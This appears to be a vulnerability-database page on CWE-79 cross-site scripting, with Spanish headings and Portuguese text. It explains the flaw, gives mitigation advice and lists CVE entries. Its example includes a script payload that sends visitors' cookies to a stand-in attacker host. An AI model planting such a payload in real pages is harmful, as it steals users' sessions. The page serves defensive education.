Fallos del tipo CWE-79

29.103 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-4687MEDIUMCampcodes Complete Web-Based School Management System create_events.php cross site scriptingEPSS 0.5%CVE-2024-0720LOWFactoMineR FactoInvestigate HTML Report Generator cross site scriptingEPSS 0.5%CVE-2021-4296LOWw3c Unicorn ValidatorNuMessage.java ValidatorNuMessage cross site scriptingEPSS 0.5%CVE-2024-4686MEDIUMCampcodes Complete Web-Based School Management System emarks_range_grade_update_form.php cross site scriptingEPSS 0.5%CVE-2024-2735MEDIUMBold Page Builder <= 4.8.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via "Price List" ElementEPSS 0.5%CVE-2021-36398MEDIUMIn moodle, ID numbers displayed in the web service token list required additional sanitizing to prevent a stored XSS risk.EPSS 0.5%CVE-2024-2734MEDIUMBold Page Builder <= 4.8.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via AI FeaturesEPSS 0.5%CVE-2023-5200MEDIUMflowpaper <= 2.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2017-20209MEDIUMNagios Fusion < 4.0.1 XSS via Users/Servers PageEPSS 0.5%CVE-2026-45392HIGHDOM-based XSS in Cribl StreamEPSS 0.5%CVE-2018-25119MEDIUMNagios Fusion < 4.1.5 XSS via fusionwindow ParameterEPSS 0.5%CVE-2025-56515HIGHFile upload vulnerability in Fiora chat application 1.0.0 through user avatar upload functionality. The application fails to validate SVG fiEPSS 0.5%CVE-2024-21504MEDIUMVersions of the package livewire/livewire from 3.3.5 and before 3.4.9 are vulnerable to Cross-site Scripting (XSS) when a page uses [Url] foEPSS 0.5%CVE-2023-37901MEDIUMCross-Site-Scripting via confirmation promptsEPSS 0.5%CVE-2021-36399MEDIUMIn Moodle, ID numbers displayed in the quiz override screens required additional sanitizing to prevent a stored XSS risk.EPSS 0.5%CVE-2024-2736MEDIUMBold Page Builder <= 4.8.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via HTML TagsEPSS 0.5%CVE-2022-46957MEDIUMSourcecodester.com Online Graduate Tracer System V 1.0.0 is vulnerable to Cross Site Scripting (XSS).EPSS 0.5%CVE-2024-57601MEDIUMCross Site Scripting vulnerability in Alex Tselegidis EasyAppointments v.1.5.0 allows a remote attacker to execute arbitrary code via the leEPSS 0.5%CVE-2023-5287LOWBEECMS cross site scriptingEPSS 0.5%CVE-2024-4688MEDIUMCampcodes Complete Web-Based School Management System conversation_history_admin.php cross site scriptingEPSS 0.5%